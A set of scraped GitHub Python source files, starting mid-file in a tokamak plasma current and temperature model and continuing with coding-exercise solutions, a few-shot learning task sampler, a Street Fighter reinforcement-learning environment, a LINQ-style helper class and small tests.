Parameters\n        ----------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        glh : float\n            Translation parameter\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n        e = sc.e\n\n        Nll = self.parallel_refrection_index()\n        Picrh = self.ion_cyclotron_resonant_heating_power()\n        Ptot = self.total_input_power()\n\n        glh = (e*1.0e+19)**1.77 * (Ip*1.0e-6)**1.4 * Bphi0**-1.76 * \\\n                Nll**-0.45 * (1.0 + Picrh/Ptot)**-0.54\n\n        return glh\n\n    def density_ratio(self):\n        \"\"\"\n        The density ratio\n\n        Returns\n        -------\n        ani : float\n            The density ratio\n\n        \"\"\"\n        Zeff = self.plasma_effective_charge()\n\n        ani = (7.0 - Zeff)/6.0\n\n        if not 0.0 < ani < 1.0:\n            raise ValueError('The density ratio must be from 0.0 to 1.0')\n\n        return ani\n\n    def electron_density_profile(self, r):\n        \"\"\"\n        Electron density profile\n\n        Parameters\n        ----------\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        ne: ndarray\n            Electron density profile\n\n        \"\"\"\n        gamman = self.gamman\n        elad = self.electron_line_average_density()\n\n        ne = (gamman + 1.0) * (1.0 - r**gamman) * elad / gamman\n\n        return ne\n\n    def ion_density_profile(self, r):\n        \"\"\"\n        Ion density profile\n\n        Parameters\n        ----------\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        ni : ndarray\n            Ion density profile\n\n        \"\"\"\n        alphani = self.density_ratio()\n        ne = self.electron_density_profile(r)\n\n        ni = alphani * ne\n\n        return ni\n\n    def ion_ratio_to_electron_temperature(self, Ip):\n        \"\"\"\n        The ratio of ion to electron temperature\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        alphaTi : float\n            The ratio of ion to electron temperature\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n\n        elad = self.electron_line_average_density()\n        Picrh = self.ion_cyclotron_resonant_heating_power()\n        Ptot = self.total_input_power()\n        Plh = self.lower_hybrid_power()\n\n        alphaTi = 1.0 - 0.31 * (((Ip * 1.0e-6)/Bphi0)**-0.38 * \\\n                (elad * 1.0e-19)**-0.90 * (1.0 + Picrh/Ptot)**-1.62 * \\\n                (1.0 + Plh/Ptot)**1.36)\n\n        if alphaTi < 0:\n            raise ValueError('The ratio of ion to electron temperature \\\n                                must be positive or zero')\n\n        return alphaTi\n\n    def normalized_directivity(self):\n        \"\"\"\n        Normalized directivity\n\n        Returns\n        -------\n        Dn : float\n            Normalized directivity\n\n        \"\"\"\n        Nll = self.parallel_refrection_index()\n\n        Dn = 2.03 - 0.63*Nll\n\n        if Dn < 0:\n            raise ValueError('Normalized directivity must be positive or zero')\n\n        return Dn\n\n    def lower_hybrid_current_drive_effiency(self, Ip):\n        \"\"\"\n        Lower hybrid current drive effiency\n\n        Paramters\n        ---------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        etalh : float\n            Lower hybrid current effiency\n\n        \"\"\"\n        Dn = self.normalized_directivity()\n        Zeff = self.plasma_effective_charge()\n        tauth = self.thermal_energy_confinement_time(Ip)\n\n        # etalh = 3.39 * Dn**0.26 * tauth**0.46 * Zeff**-0.13 * 1.0e+19\n        etalh = 1.18 * Dn**0.55 * (Ip*1.0e-6)**0.43 * Zeff**-0.24\n\n        return etalh\n\n    def lower_hybrid_current(self, Ip):\n        \"\"\"\n        Lower hybrid current\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        Ilh : float\n            Lower hybrid current\n\n        \"\"\"\n        etalh = self.lower_hybrid_current_drive_effiency(Ip)\n        Plh = self.lower_hybrid_power()\n        elad = self.electron_line_average_density()\n\n        Ilh = etalh * Plh / (R0 * elad * 1.0e-19)\n\n        return Ilh\n\n    def lower_hybrid_current_density_profile(self, Ip, r):\n        \"\"\"\n        Lower hybird current density profile\n\n        Paramters\n        ---------\n        Ip : float\n            Total plasma current\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        jlh : ndarray\n            Lower hybrid current density\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n\n        elad = self.electron_line_average_density()\n        Plh = self.lower_hybrid_power()\n        Nll = self.parallel_refrection_index()\n        Ilh = self.lower_hybrid_current(Ip)\n\n        mu = 0.2 * Bphi0**-0.39 * (Ip*1.0e-6)**0.71 * \\\n                (elad*1.0e-19)**-0.02 * (Plh*1.0e-6)**0.13 * Nll**1.2\n        w = 0.53 * Bphi0**-0.24 * (Ip*1.0e-6)**0.57 * \\\n                (elad*1.0e-19)**-0.08 * (Plh*1.0e-6)**0.13 * \\\n                Nll**0.39\n        sigmalh = ((mu - w)**2)/(2.0 * math.log(2.0))\n\n        def f(x): return x * np.exp(-(mu - x)**2 / (2.0*sigmalh))\n\n        result = spi.quad(f, 0, 1)[0]\n        varthetalh = Ilh/(2.0 * math.pi * a**2 * result)\n        jlh = varthetalh * np.exp(-(mu - r)**2 / (2.0*sigmalh))\n\n        return jlh\n\n    def temperature_profile_amplitude(self, Ip, Wth, r):\n        \"\"\"\n        Temperature profile amplitude\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        ATe : float\n            Temperature profile amplitude\n\n        \"\"\"\n        e = sc.e\n\n        alphani = self.density_ratio()\n        alphaTi = self.ion_ratio_to_electron_temperature(Ip)\n        alh = self.alphalh(Ip)\n        blh = self.betalh(Ip)\n        glh = self.gammalh(Ip)\n        edp = self.electron_density_profile\n\n        def f(x): return (edp(x) * 1.0) * x * alh / \\\n                        (1.0 + np.exp(-blh*(x - glh)))\n\n        nea = spi.quad(f, 0.0, 1.0)[0]\n        scrA = 1.0/(6.0 * (math.pi * a)**2 * R0 * \\\n                    (e*1.0) * (1.0 + alphani * alphaTi) * nea)\n        ATe = Wth * scrA\n\n        return ATe\n\n    def electron_temperature_profile(self, Ip, Wth, r):\n        \"\"\"\n        Electron temperature profile\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        Te : ndarray\n            Temerature profile of electron\n\n        \"\"\"\n        alh = self.alphalh(Ip)\n        blh = self.betalh(Ip)\n        glh = self.gammalh(Ip)\n\n        ATe = self.temperature_profile_amplitude(Ip, Wth, r)\n\n        Te = (alh * ATe)/(1.0 + np.exp(-blh * (r - glh)))\n\n        return Te\n\n    def ion_temperature_profile(self, Ip, Wth, r):\n        \"\"\"\n        Ion temperature profile\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        Ti : ndarray\n            Ion temprature profile\n\n        \"\"\"\n        Te = self.electron_temperature_profile(Ip, Wth, r)\n        alphaTi = self.ion_ratio_to_electron_temperature(Ip)\n\n        Ti = alphaTi * Te\n\n        return Ti\n\n    def safety_factor_profile(self, dpsidr, r):\n        \"\"\"\n        Safety factor profile\n\n        Parameters\n        ----------\n        dpsidr : ndarray\n            Magnetic flux of the poloidal field\n            differentiated by normalized radius\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        q : ndarray\n            Safety factor profile\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n\n        q = - Bphi0 * a**2 * r / dpsidr\n\n        return q\n\n    def trapped_banana_regime_particles(self, r):\n        \"\"\"\n        The fraction of trapped particles in banana regime\n\n        Parameters\n        ----------\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        ft : ndarray\n            The fraction of trapped particles in banana regime\n\n        \"\"\"\n        epsilon = a/R0\n        ft = 1.0 - (1.0 - r*epsilon)**2 * \\\n            ((1.0 - (r*epsilon)**2)**-0.5) / (1.0 + 1.46 * np.sqrt(r*epsilon))\n\n        return ft\n\n    def parallel_conductivity(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Plasma parallel conductivity\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        dpsidr : ndarray\n            Magnetic flux of the poloidal field\n            differentiated by normalized radius\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        etall : ndarray\n            Plasma parallel conductivity\n\n        \"\"\"\n        e, epsilon_0, m_e = sc.e, sc.epsilon_0, sc.m_e\n\n        Te = self.electron_temperature_profile(Ip, Wth, r)\n        edp = self.electron_density_profile(r)\n        q = self.safety_factor_profile(dpsidr, r)\n        ft = self.trapped_banana_regime_particles(r)\n        Zeff = self.plasma_effective_charge()\n\n        epsilon = a/R0\n\n        xi = 0.58 + 0.2 * Zeff\n        lambdae = (3.4/Zeff)*((1.13 + Zeff)/(2.67 + Zeff))\n        l = 31.318 + np.log(Te/np.sqrt(edp))\n        taue = (12.0 * math.pi**1.5 * m_e**0.5 * epsilon_0**2 * Te**1.5) / \\\n                (e**2.5 * math.sqrt(2.0) * edp * np.log(l))\n        s0 = edp * e**2 * taue/m_e\n        alphae = np.sqrt(e * Te / m_e)\n        nue = (R0 * q)/(((r*epsilon)**1.5) * alphae * taue)\n        cr = (0.56/Zeff) * (3.0 - Zeff)/(3.0 + Zeff)\n        etall = s0 * lambdae * \\\n            (1.0 - ft/(1.0 + xi * nue)) * (1.0 - (cr * ft)/(1.0 + xi * nue))\n\n        return etall\n\n    def ohmic_current_profile(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Ohmic current profile\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        dpsidr : ndarray\n            Maginetic flux of the poloidal field\n            differentiated by normalized radius\n\n        Returns\n        -------\n        joh : ndarray\n            Ohmic current profile\n\n        \"\"\"\n        pc = self.parallel_conductivity(Ip, Wth, dpsidr, r)\n\n        joh = - pc * dpsidr / R0\n\n        return joh\n\n    def initial_plasma_thermal_energy(self, Ip0):\n        \"\"\"\n        Initial plasma thermal energy\n\n        Paramters\n        ---------\n        Ip0 : float\n            Initial total plasma current\n\n        Returns\n        -------\n        Wth0 : float\n            Initial plasma thermal energy\n\n        \"\"\"\n        Wth0 = self.total_input_power() * \\\n            self.thermal_energy_confinement_time(Ip0)\n\n        return Wth0\n\n    def parallel_resistivity(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Plasma parallel resistivity\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        dpsidr : ndarray\n            Maginetic flux of the poloidal field\n            differentiated by normalized radius\n\n        Returns\n        -------\n        etall : ndarray\n            Plasma parallel resistivity\n\n        \"\"\"\n        etall = 1.0/self.parallel_conductivity(Ip, Wth, dpsidr, r)\n\n        return etall\n\n    def thermal_energy_confinement_time(self, Ip):\n        \"\"\"\n        Thermal energy confinement time\n\n        Paramters\n        ---------\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        taue : float\n            Thermal energy confinement time\n\n        \"\"\"\n        Bphi0 = self.Bphi0\n\n        elad = self.electron_line_average_density()\n        Ptot = self.total_input_power()\n        Plh = self.lower_hybrid_power()\n\n        taue = 0.135 * (Ip * 1.0e-6)**0.94 * Bphi0**-0.15 * \\\n                (elad * 1.0e-19)**0.78 * (1 + Plh/Ptot)**0.13 * \\\n                (Ptot * 1.0e-6)**-0.78\n\n        return taue\n\n    def bootstrap_current_profile(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Bootstrap current profile\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        dpsidr : ndarray\n            Maginetic flux of the poloidal field\n            differentiated by normalized radius\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        jbs : ndarray\n            Bootstrap current profile\n\n        \"\"\"\n        gamman = self.gamman\n        e = sc.e\n\n        Zeff = self.plasma_effective_charge()\n        ft = self.trapped_banana_regime_particles(r)\n        alphaTi = self.ion_ratio_to_electron_temperature(Ip)\n        alphani = self.density_ratio()\n        Te = self.electron_temperature_profile(Ip, Wth, r)\n        Ti = self.ion_temperature_profile(Ip, Wth, r)\n        ne = self.electron_density_profile(r)\n        ni = self.ion_density_profile(r)\n        alphalh = self.alphalh(Ip)\n        betalh = self.betalh(Ip)\n        gammalh = self.gammalh(Ip)\n\n        dTedr = alphalh*betalh*np.exp(betalh*(r - gammalh)) / \\\n            (1 + np.exp(betalh*(r - gammalh)))**2\n        dTidr = alphaTi * dTedr\n        dnedr = - (gamman + 1) * r**(gamman - 1) * ne\n        dnidr = alphani * dnedr\n\n        xt = ft/(1.0 - ft)\n        De = 1.414*Zeff + Zeff**2 + xt*(0.754 + 2.657*Zeff + 2*Zeff**2) + \\\n                xt**2 * (0.348 + 1.243*Zeff * Zeff**2)\n        A1 = xt*(0.754 + 2.21*Zeff + Zeff**2 + \\\n                xt*(0.348 + 1.243*Zeff + Zeff**2))/De\n        A2 = xt*(0.884 + 2.074*Zeff)/De\n        alphai = 1.172/(1 - 0.462*xt)\n        jbs = e*R0*((A1 - A2)*ne*dTedr + A1*Te*dnedr +\n            A1*(1-alphai)*ni*dTidr + A1*Ti*dnidr)/dpsidr\n\n        return jbs\n\n    def bootstrap_current(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Bootstrap current\n\n        Parameters\n        ----------\n        Ip : float\n            Total plasma current\n        Wth : float\n            Plasma thermal energy\n        dpsidr : ndarray\n            Maginetic flux of the poloidal field\n            differentiated by normalized radius\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        Ibs : float\n            Bootstrap current\n\n        \"\"\"\n        jbs = self.bootstrap_current_profile\n\n        def f(i): return r[i] * jbs(Ip, Wth, dpsidr[i], r[i])\n\n        y = f(np.arange(len(r)))\n        Ibs = 2*math.pi*a**2 * spi.simps(y, x=r)\n\n        return Ibs\n\n    def noninductive_effective_current(self, Ip, Wth, dpsidr, r):\n        \"\"\"\n        Noninductive effective current\n\n        Paramters\n        ---------\n        Ip : float\n            Total plasma current\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        jin : ndarray\n            Noninductive effective current profile\n\n        \"\"\"\n        jlh = self.lower_hybrid_current_density_profile(Ip, r)\n        jbs = self.bootstrap_current_profile(Ip, Wth, dpsidr, r)\n\n        jin = jlh + jbs\n\n        return jin\n\n    def total_plasma_current(self, I, Wth, psi, r):\n        \"\"\"\n        Total plasma current model\n\n        Parameters\n        ----------\n        I : ndarray\n            Total plasma current and ohmic current\n        psi : ndarray\n            Magnetic flux of the poloidal field\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        dI : ndarray\n            Total plasma current and ohmic current differentiated by time\n\n        \"\"\"\n        Ip, Ioh = I[0], I[1]\n        Lp, Loh, Rp, Roh, M = self.Lp, self.Loh, self.Rp, self.Roh, self.M\n\n        if len(r) != len(psi):\n            raise ValueError('r and psi length must be equal')\n\n        dpsidr = (psi[2:] - psi[:-2])/(r[2:] - r[:-2])\n\n        Plh = self.lower_hybrid_power()\n        Voh = self.ohmic_voltage(Ip, Ioh)\n\n        etalh = self.lower_hybrid_current_drive_effiency(Ip)\n        elad = self.electron_line_average_density()\n        Ilh = self.lower_hybrid_current(Ip)\n        Ibs = self.bootstrap_current(Ip, Wth, dpsidr, r[1:-1])\n\n        LM = [[Lp, M],\n            [M, Loh]]\n        R = [[-Rp, 0],\n            [0, -Roh]]\n        G = [[Rp, 0],\n            [0, 1]]\n        U = [Ilh + Ibs, Voh]\n\n        dI = np.dot(nplin.inv(LM), (np.dot(R, I) + np.dot(G, U)))\n\n        return dI\n\n    def plasma_thermal_energy(self, Wth, Ip):\n        \"\"\"\n        Plasma thermal energy model\n\n        Parameters\n        ----------\n        Wth : float\n            Plasma thermal energy\n        Ip : float\n            Total plasma current\n\n        Returns\n        -------\n        dWth : float\n            Plasma thermal energy differentiated by time\n\n        \"\"\"\n        Ptot = self.total_input_power()\n        tauth = self.thermal_energy_confinement_time(Ip)\n\n        dWth = Ptot - Wth/tauth\n\n        return dWth\n\n    def poloidal_flux(self, psi, I, Wth, r):\n        \"\"\"\n        Poloidal flux model\n\n        Parameters\n        ----------\n        psi : ndarray\n            Magnetic flux of the poloidal field\n        I : ndarray\n            Total plasma current and ohmic current\n        Wth : float\n            Plasma thermal energy\n        r : ndarray\n            Normalized radius\n\n        Returns\n        -------\n        dpsidr : ndarray\n            Poloidal flux differentiated by time\n\n        \"\"\"\n        mu_0 = sc.mu_0\n        M, Lp = self.M, self.Lp\n        Ip = I[0]\n\n        if len(psi) != len(r):\n            raise ValueError('Invalid length')\n\n        dr = (r[2:] - r[:-2])\n        dpsidr = (psi[2:] - psi[:-2])/dr\n        ddpsidr = (psi[2:] - 2*psi[1:-1] + psi[:-2])/dr**2\n        etall = self.parallel_resistivity(Ip, Wth, dpsidr, r[1:-1])\n        jni = self.noninductive_effective_current(Ip, Wth, dpsidr, r[1:-1])\n        dI = self.total_plasma_current(I, Wth, psi, r)\n        Vloop = M*dI[1] - Lp*dI[0] \n        dpsidt = etall * ((ddpsidr + dpsidr/r[1:-1])/(mu_0*a**2) + R0*jni)\n        dpsidt0 = dpsidt[0]\n\n        dpsidt = np.r_[dpsidt0, dpsidt, Vloop]\n\n        return dpsidt\n","repo_name":"yuina822/amaterasu","sub_path":"toresupra.py","file_name":"toresupra.py","file_ext":"py","file_size_in_byte":24950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25036669628","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n\"\"\"\nGary is an avid hiker. He tracks his hikes meticulously, paying close attention to small details like topography. \nDuring his last hike he took exactly  steps. For every step he took, he noted if it was an uphill, , \nor a downhill,  step. Gary's hikes start and end at sea level and each step up or down represents a  \nunit change in altitude. We define the following terms:\n\nA mountain is a sequence of consecutive steps above sea level, starting with a step up from sea level and ending \nwith a step down to sea level.\nA valley is a sequence of consecutive steps below sea level, starting with a step down from sea level and ending \nwith a step up to sea level.\nGiven Gary's sequence of up and down steps during his last hike, find and print the number of valleys he walked \nthrough.\n\nFor example, if Gary's path is , he first enters a valley  units deep. Then he climbs out an up onto a mountain  \nunits high. Finally, he returns to sea level and ends his hike.\n\nFunction Description\n\nComplete the countingValleys function in the editor below. It must return an integer that denotes the number \nof valleys Gary traversed.\n\ncountingValleys has the following parameter(s):\n\nn: the number of steps Gary takes\ns: a string describing his path\n\"\"\"\n\n# Complete the countingValleys function below.\ndef countingValleys(n, s):\n    print(n)\n    print(s)\n    if len(s) <= 3:\n        return 0\n\n    has_valley = False\n    valley_count = 0\n    # Iterate over the number of steps Gary took by two's ( i & i + 1)\n    for i in range(0, n-1):\n        # If the string has two DD in a string, set the has_valley flag to true as we found a value.\n        if s[i] == 'D' and s[i+1] == 'D':\n            has_valley = True\n\n        # If the has_valley is True and the string has two UU's, Count the valley and flip has_valley back to False\n        # To start over\n        if has_valley and s[i] == 'U' and s[i+1] == 'U':\n            valley_count += 1\n            has_valley = False\n\n    return valley_count\n\n\nif __name__ == '__main__':\n    #fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    n = int(10)\n\n    s = 'DUDDDUUDUU'\n\n    result = countingValleys(n, s)\n\n    print(result)","repo_name":"sunnysidesounds/InterviewQuestions","sub_path":"general/counting_valleys.py","file_name":"counting_valleys.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"21839311345","text":"import argparse\nimport numpy as np\nimport time\nimport sys\n\nimport os,sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.join(os.path.dirname(currentdir),'src')\nsys.path.insert(0,parentdir)\nfrom tasks.task_template import TaskTemplate\n\n\nclass DemoFSLTask(TaskTemplate):\n    \n    @staticmethod\n    def get_parser(parser=argparse.ArgumentParser()):\n        parser.add_argument('--support_idx', type=list, default=[], \n                            help=\"List of idxs for supports of a task\")\n        parser.add_argument('--support_lbls', type=list, default=[], \n                            help=\"List of labels for the supports of a task\")\n        parser.add_argument('--target_idx', type=list, default=[],\n                            help=\"List of idxs for targets of a task\")\n        parser.add_argument('--target_lbls', type=list, default=[], \n                            help=\"List of labels for the targets of a task\")\n        return parser\n    \n    @staticmethod\n    def get_output_dim(args, dataset):\n        return dataset.get_num_classes()\n    \n    def __init__(self, dataset, args, class_seed, sample_seed):\n        \"\"\"\n        Few Shot Learning Task sampler for creating a single episode for a few-shot learning task\n        \"\"\"\n        super().__init__(dataset, args, class_seed, sample_seed)\n        self.support_idx = args.support_idx\n        self.target_idx = args.target_idx\n        self.support_lbls = args.support_lbls\n        self.target_lbls = args.target_lbls\n        \n    def set_targarts(self, target_idx, target_lbls):\n        self.target_idx = target_idx\n        self.target_lbls = target_lbls\n        \n    def set_supports(self, support_idx, support_lbls):\n        self.support_idx = support_idx\n        self.support_lbls = support_lbls\n    \n    def __len__(self):\n        return 1\n    \n    def __iter__(self):\n        supports_x = self.support_idx\n        supports_y = self.support_lbls\n        targets_x = self.target_idx\n        targets_y = self.target_lbls\n        \n        rng = np.random.RandomState(self.sample_seed)\n        support_seeds = rng.randint(0, 999999999, len(supports_y))\n        target_seeds = rng.randint(0, 999999999, len(targets_y))\n        supports_y = zip(supports_y, support_seeds)\n        targets_y = zip(targets_y, target_seeds)\n        \n        support_set = (supports_x, supports_y)\n        target_set = (targets_x, targets_y)\n        \n        yield (support_set, target_set)","repo_name":"mattochal/demo_fsl_public","sub_path":"fsl_demo_task.py","file_name":"fsl_demo_task.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"17021459645","text":"from server import get_server, get_center, get_ssh, response\n\ndata = {'server': False, 'center': False, 'ssh': False, 'storage': False}\n\nserve = get_server()\n\nif serve:\n  data.update({'server': True})\n  \ncenter = get_center()\n\nif center:\n  data.update({'center': True})\n  \nssh = get_ssh()\n\nif ssh:\n  data.update({'ssh': True})\n  \nif serve:\n\n  result = None\n\n  try:\n    result = serve.get_datastores().items()\n  except:\n    pass\n  \n  if result:\n    for first, second in result:\n      if 'atastore' in second:\n        data.update({'storage': True})\n        \nresponse(True, data)\n","repo_name":"autovmnet/autovm_old","sub_path":"modules/candy/python/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"}
{"seq_id":"38566893834","text":"# get the rom\nimport retro\nimport os\n# Wrapp it so I can monitor and stack frames\nfrom stable_baselines3.common.vec_env import DummyVecEnv, VecFrameStack, SubprocVecEnv\nfrom stable_baselines3.common.monitor import Monitor\n# vec in parallel\nfrom stable_baselines3.common.env_util import make_vec_env\nfrom constant import GameInfo\nfrom frameskip_wrapper import Frameskip, WaitForActionableState\nfrom retro_renderer import RetroHumanRendering\nfrom action_wrapper import StreetFighter2Discretizer\nfrom reward_wrapper import SFRewardWrapper\nfrom observation_wrapper import SFObservationWrapper\n\n\ndef StreetFighterEnv(obs_mode=2, skip=0, scenario='scenario', state='Champion.Level1.RyuVsGuile', hit_reward_strategy=2, mode='rgb_array', save_frames=True):\n    # init custom env\n    retro.data.Integrations.add_custom_path(\n        os.path.join(os.getcwd(), \"custom_integrations\")\n    )\n    # make game\n    env = retro.make(game=\"sf2\", inttype=retro.data.Integrations.ALL, scenario=scenario, state=state)\n    env = RetroHumanRendering(env, mode=mode, save_frames=save_frames)\n    env = WaitForActionableState(env)\n    # it is important to skip frame at the game level as we don't want to apply the delta on it\n    # not sure it makes sense to combine waiting for action and skipping\n    if skip > 0:\n        env = Frameskip(env, skip)\n    # provide a smaller discrete spce\n    env = StreetFighter2Discretizer(env)\n    env = SFRewardWrapper(env, hit_reward_strategy)\n    env = SFObservationWrapper(env, obs_mode)\n    env = Monitor(env)\n    return env\n\n\ndef StreetFighterRenderEnv(obs_mode=2, skip=0, stack=10, allow_parallel=1, scenario='scenario', state='Champion.Level1.RyuVsGuile', hit_reward_strategy=2, mode='rgb_array', save_frames=True):\n    if mode == 'human' and allow_parallel:\n        print(\"You can't have mode human and in parallel sadly. Changing to rgb_array and saving frame so you can use the frame later\")\n        mode = 'rgb_array'\n        save_frames = True\n    def wrap_env():\n        return StreetFighterEnv(obs_mode, skip, scenario, state, hit_reward_strategy, mode=mode, save_frames=save_frames)\n    if allow_parallel:\n        env = make_vec_env(wrap_env, n_envs=1, vec_env_cls=SubprocVecEnv)\n    else:\n        env = wrap_env()\n        env = DummyVecEnv([lambda: env])\n    env = VecFrameStack(env, stack, channels_order='last')\n    return env\n\n\ndef create_env(obs_mode=2, skip=0, stack=10, scenario='scenario', state='Champion.Level1.RyuVsGuile', hit_reward_strategy=2, mode='rgb_array', save_frames=False, n_envs=6, **kwargs):\n    \"\"\"\n    Create the environmnet for training.\n\n    \"\"\"\n    def wrap_env():\n        return StreetFighterEnv(obs_mode=obs_mode, skip=skip, scenario=scenario, state=state, hit_reward_strategy=hit_reward_strategy, mode=mode, save_frames=save_frames)\n    print(f'Training on {n_envs} environments')\n    if n_envs > 1:\n        env = make_vec_env(wrap_env, n_envs=n_envs, vec_env_cls=SubprocVecEnv)\n    else:\n        env = wrap_env()\n        env = DummyVecEnv([lambda: env])\n    env = VecFrameStack(env, stack, channels_order='last')\n    return env\n","repo_name":"zippeurfou/streetfighter-rl","sub_path":"environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41577211049","text":"class Range:\n    def __init__(self, arg):\n        self._obj = arg\n\n    def select(self, func):\n        self._obj = [func(item) for item in self._obj]\n        return self\n\n    def where(self, func):\n        result = []\n        for item in self._obj:\n            if func(item):\n                result.append(item)\n        self._obj = result\n        return self\n\n    def flatten(self):\n        result = []\n        for sequence in self._obj:\n            for item in sequence:\n                result.append(item)\n        self._obj = result\n        return self\n\n    def take(self, num):\n        self._obj = self._obj[0:num]\n        return self\n\n    def group_by(self, key):\n        result = {}\n        for item in self._obj:\n            k = key(item)\n            if k in result:\n                result[k].append(item)\n            else:\n                result[k] = [item]\n\n        self._obj = []\n        for key, value in result.items():\n            self._obj.append((key, value))\n        return self\n\n    def order_by(self, key):\n        self._obj = sorted(self._obj, key=key)\n        return self\n\n    def to_list(self):\n        return self._obj\n\n","repo_name":"KomarovMikhail/concepts-of-programming-languages","sub_path":"LINQ/linq.py","file_name":"linq.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13501379680","text":"from mockito import unstub, when\nfrom tests import conftest\nfrom views import SumView\nfrom http import HTTPStatus\n\n\nclass TestSumView:\n    def teardown(self):\n        unstub()\n\n    def test_get_sum_success(self, loop, f_test_client, f_data_model):\n        async def do_test():\n            async def set_result():\n                return f_data_model\n\n            when(conftest.DataDAO).get_by_sum(...).thenReturn(set_result())\n            resp = await f_test_client.get(f'{SumView.endpoint}?sum=2')\n            assert resp.status == HTTPStatus.OK\n            body = await resp.json()\n            assert body == [f_data_model[0].as_dict()]\n\n        loop.run_until_complete(do_test())\n\n    def test_create_sum_success(self, loop, f_test_client, f_data_model):\n        async def do_test():\n            async def set_result():\n                return f_data_model\n            when(conftest.DataDAO).create(...).thenReturn(set_result())\n            resp = await f_test_client.post(f'{SumView.endpoint}', json={'js': 1})\n            assert resp.status == HTTPStatus.CREATED\n\n        loop.run_until_complete(do_test())\n\n    def test_get_sum_bad_request(self, loop, f_test_client):\n        async def do_test():\n            resp = await f_test_client.get(f'{SumView.endpoint}?sum=abc')\n            assert resp.status == HTTPStatus.UNPROCESSABLE_ENTITY\n\n        loop.run_until_complete(do_test())\n\n    def test_create_sum_bad_request(self, loop, f_test_client):\n        async def do_test():\n            resp = await f_test_client.post(f'{SumView.endpoint}', json={'jss': 'Wrong parameter'})\n            assert resp.status == HTTPStatus.BAD_REQUEST\n\n        loop.run_until_complete(do_test())","repo_name":"dent0n7887/exante","sub_path":"sum/tests/test_sum_view.py","file_name":"test_sum_view.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70198377381","text":"import sys\nfrom collections import defaultdict\ninput = sys.stdin.readline\n\nn = int(input())\nnums = []\ndic = defaultdict(int)\nfor _ in range(n):\n    tmp = int(input())\n    nums.append(tmp)\n    dic[tmp] += 1\n\nnums.sort()\ndic = sorted(dic.items(),key = lambda x:(-x[1],x[0]))\nprint(round(sum(nums) / n))\nprint(nums[n//2])\nif len(dic) > 1 and dic[0][1] == dic[1][1]:\n    print(dic[1][0])\nelse:\n    print(dic[0][0])\nprint(nums[-1]-nums[0])","repo_name":"JuyeolRyu/CodingTest","sub_path":"백수/algorithm/etc/통계학.py","file_name":"통계학.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
